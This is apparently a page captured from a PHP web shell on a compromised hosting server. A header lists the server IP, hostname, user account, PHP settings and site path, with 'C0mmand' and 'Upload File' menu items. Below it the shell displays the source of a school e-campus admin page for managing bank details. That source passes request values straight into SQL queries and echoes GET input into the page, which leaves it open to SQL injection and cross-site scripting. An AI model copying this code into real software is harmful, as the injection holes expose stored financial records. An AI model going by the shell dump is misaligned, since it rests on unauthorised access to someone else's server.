Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/vtti.e-campus.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include ("include/makeSession.php"); $installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'"); $installment_id=mysqli_fetch_array($installment_id); $installment_id=$installment_id['menuper']; $menuper=explode(',',$installment_id); if(in_array('Manage Accounts',$menuper)){ }else{ header("location:index.php"); } $_SESSION['page_name']="Accounts Master"; include('include/function.php'); include("include/header.php"); include("include/sidebar.php"); if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){ $dovalue=""; $doid=$_REQUEST['did']; $check=mysqli_query($con,"delete from bankdetails where id='$doid'"); if($check){ $_SESSION['msg']='Record Deleted Successfully'; } echo '<META HTTP-EQUIV="Refresh" Content="0; URL=bankDetails.php">'; exit; } if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){ $dovalue="EditBankDetails"; $doid=$_REQUEST['upid']; $upuserresult=mysqli_query($con,"select * from bankdetails where id='".$_REQUEST['upid']."'"); $upuserarr=mysqli_fetch_array($upuserresult); }else{ $dovalue="AddBankDetails"; $doid=''; } ?> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Bank Details <small></small> </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#"> Bank Details</a></li> </ol> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-md-12"> <?php if(!empty($_SESSION['msg'])){ $msg=$_SESSION["msg"]; echo '<div class="col-md-12"> <div class="alert alert-success alert-dismissible"> <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a> '.$msg.' </div>'; $_SESSION["msg"]='';} ?> <div class="box box-info"> <div class="box-header"> <h3 class="box-title"> Bank Details <small></small></h3> <!-- tools box --> <div class="pull-right box-tools"> <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button> <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button> </div><!-- /. tools --> </div><!-- /.box-header --> <div class="box-body pad"> <form method="post" action="action.php" name="addcategory" id="addcategory" enctype="multipart/form-data" role="form"> <input type="hidden" name="do" value="<?php echo $dovalue;?>" /> <input type="hidden" name="doid" value="<?php echo $doid;?>" /> <input type="hidden" name="UserID" value="<?php echo $_SESSION["ecomid"];?>" /> <div class="form-group"> <label>Bank Name *</label> <input name="bankname" type="text" placeholder="Bank Name" id="ContentPlaceHolder1_txtStudentName" value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['bankname'];}?>" class="form-control" required> </div> <div class="form-group"> <label> Bank Branch Name *</label> <input name="branch" type="text" placeholder="Bank Branch Name " id="ContentPlaceHolder1_txtMobile" value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['branch'];}?>" class="form-control" required> </div> <div class="form-group"> <label>Description *</label> <input name="desc" type="text" maxlength="11" placeholder="Phone Number" value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['description'];}?>" id="ContentPlaceHolder1_txtLastQualification" class="form-control" required> </div> <div class="form-group"> <label>Address </label> <textarea name="address" class="form-control" ><?php if(isset($_REQUEST['upid'])){ echo $upuserarr['address'];}?></textarea> </div> <div class="box-footer"> <input type="submit" class="btn btn-primary" name="ctl00$ContentPlaceHolder1$btnsave" value="Save"/> <input type="reset" name="ctl00$ContentPlaceHolder1$btn_reset" value="Reset" id="ContentPlaceHolder1_btn_reset" class="btn btn-primary"> </div> </form> </div> </div> </div><!-- /.box --> </div><!-- /.col--> <!-- ./row --> </section><!-- /.content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box"> <div class="box-header"> <h3 class="box-title">REPORT</h3> </div> <!-- /.box-header --> <div class="box-body"> <form name="datesearch" method="get" action="" class="pull-right"> Form: <input id="demo1" name="datefrom" placeholder="yyyy-mm-dd" type="text" value="<?php if(!empty($_GET['datefrom'])){ echo $_GET['datefrom'];}else{ } ?>"> To: <input id="demo1" name="dateto" placeholder="yyyy-mm-dd" type="text" value="<?php if(!empty($_GET['dateto'])){ echo $_GET['dateto'];}else{ } ?>" size="25"> <input type="submit" value="Search" class='btn btn-primary' > </form> <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th scope="col">No</th> <th scope="col">Bank Name</th> <th scope="col">Branch Name</th> <th scope="col">Description</th> <th scope="col">Address</th> <th scope="col">Total Amount</th> <th scope="col">Created Date</th> <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1 ){ ?> <th scope="col">Action</th> <?php } ?> </tr> </thead> <tbody> <?php if(!empty($_GET['datefrom']) && !empty($_GET['dateto'])){ $start =$_GET["datefrom"]; $end =$_GET["dateto"]; $Query=mysqli_query($con,"SELECT * FROM bankdetails WHERE created_at between '".$start."' and '".$end."'"); }else{ $Query=mysqli_query($con,"select * from bankdetails order by id desc"); } $i = 1; while($Row=mysqli_fetch_array($Query)){ ?> <tr> <td><?php echo $i; ?></td> <td><?=$Row['bankname'];?></td> <td><?=$Row['branch'];?></td> <td><?=$Row['description'];?></td> <td><?=$Row['address'];?></td> <td><?=$Row['bank_amount'];?></td> <td><?php echo $Row['created_at']; ?></td> <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1 ){ ?> <td><a href="?upid=<?php echo $Row["id"]; ?>"><i class="fa fa-pencil text-yellow"></i></a> <a href="?did=<?php echo $Row["id"]; ?>" onclick="return confirm_click();"><i class="fa fa-remove text-red"></i></a></td> <?php } ?> </tr> <?php $i++;} ?> </tbody> </table> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> <!-- /.col --> </div> <!-- /.row --> </section> </div> <?php include('include/footer.php');?> <script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script> <script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script> <script type="text/javascript"> $(function () { $("#example1").DataTable(); $('#example2').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": true, "info": true, "autoWidth": false }); }); </script>